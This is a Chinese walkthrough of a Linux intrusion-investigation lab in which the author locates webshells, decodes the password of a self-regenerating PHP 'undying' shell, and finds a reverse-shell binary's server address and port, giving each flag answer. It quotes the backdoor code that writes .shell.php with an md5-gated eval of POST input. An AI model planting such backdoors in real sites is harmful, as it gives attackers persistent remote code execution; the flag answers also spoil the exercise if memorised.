Linux 入侵排查
Linux 入侵排查
- 靶机账号密码:root/linuxruqin
- 要求如下:
- Web 目录存在木马,请找到木马的密码提交;
- 服务器疑似存在不死马,请找到不死马的密码提交;
- 不死马是通过哪个文件生成的,请提交文件名;
- 黑客留下了木马文件,请找出黑客的服务器 ip 提交;
- 黑客留下了木马文件,请找出黑客服务器开启的监听端口提交。
1 Web 目录存在木马,请找到木马的密码提交
[!Warning]
由于靶机按时扣费,所以一进去先把文件 dump 下来。
打包命令如下:
1 | tar zcvf html.tar.gz /var/www/html/* |
打包完成后,解压结果如下:

由于需要查找 WebShell,这里使用 D 盾扫一扫:

发现了两个可疑文件,依次查看其内容(1.tar 是网站源码,不用管):
1 | # 1.php |
可以很明显的看出这俩个具有 WebShell 特征,得到 1.php 的密码为 1:
1 | flag{1} |
2 服务器疑似存在不死马,请找到不死马的密码提交
经过上述代码,可得出 index.php 中的不死马内容如下:
1 | $file = '/var/www/html/.shell.php'; |
逐步分析上述代码:
- 定义了一个名为
$file的变量,其值为字符串/var/www/html/.shell.php。 - 定义了一个名为
$code的变量,其值是一段 PHP 代码字符串。if(md5($_POST["pass"])=="5d41402abc4b2a76b9719d911017c592"):$_POST["pass"]是一个超全局变量,用于获取通过 POST 请求传递的名为pass的参数值。md5()函数对$_POST["pass"]的值进行 MD5 哈希加密。- 将加密后的结果与固定的 MD5 哈希值
"5d41402abc4b2a76b9719d911017c592"进行比较。
{@eval($_POST[cmd]);}:@是 PHP 的错误抑制符,用于抑制可能出现的错误信息。eval()是一个非常危险的函数,它会将传入的字符串作为 PHP 代码来执行。这里$_POST[cmd]表示获取通过 POST 请求传递的名为cmd的参数值,并将其作为 PHP 代码执行。
- 使用
file_put_contents()函数将$code变量中的内容写入到$file变量所指定的文件中。如果文件不存在,会创建该文件;如果文件已经存在,会覆盖原有内容。
经过分析,可疑得出 5d41402abc4b2a76b9719d911017c592 的明文内容就是密码,使用 cmd5 解密:

得出密码为 hello:
1 | flag{hello} |
3 不死马是通过哪个文件生成的,请提交文件名
先了解一下不死马的定义:
- PHP 不死马一般通过巧妙利用 PHP 的特性以及服务器的权限设置来实现其 “不死” 的功能。它通常会在服务器上创建一个或多个隐藏的文件,这些文件可能具有隐蔽的文件名和存储位置,不易被管理员发现。其核心原理是通过不断地自我复制或重新生成,以确保即使被部分删除或修改,也能够迅速恢复到原来的状态,继续在服务器上运行并执行攻击者预设的指令。
根据定义可疑判断 index.php 中的代码内容就是不死马。
1 | flag{index.php} |
4 黑客留下了木马文件,请找出黑客的服务器 ip 提交
在网站目录下,出现一个 shell (1).elf 文件,直接放到微步沙箱查看:


得出连接的 IP 地址是:10.11.55.21,端口是:3333。
1 | flag{10.11.55.21} |
5 黑客留下了木马文件,请找出黑客服务器开启的监听端口提交
根据上述内容,发现端口是:3333。
1 | flag{3333} |




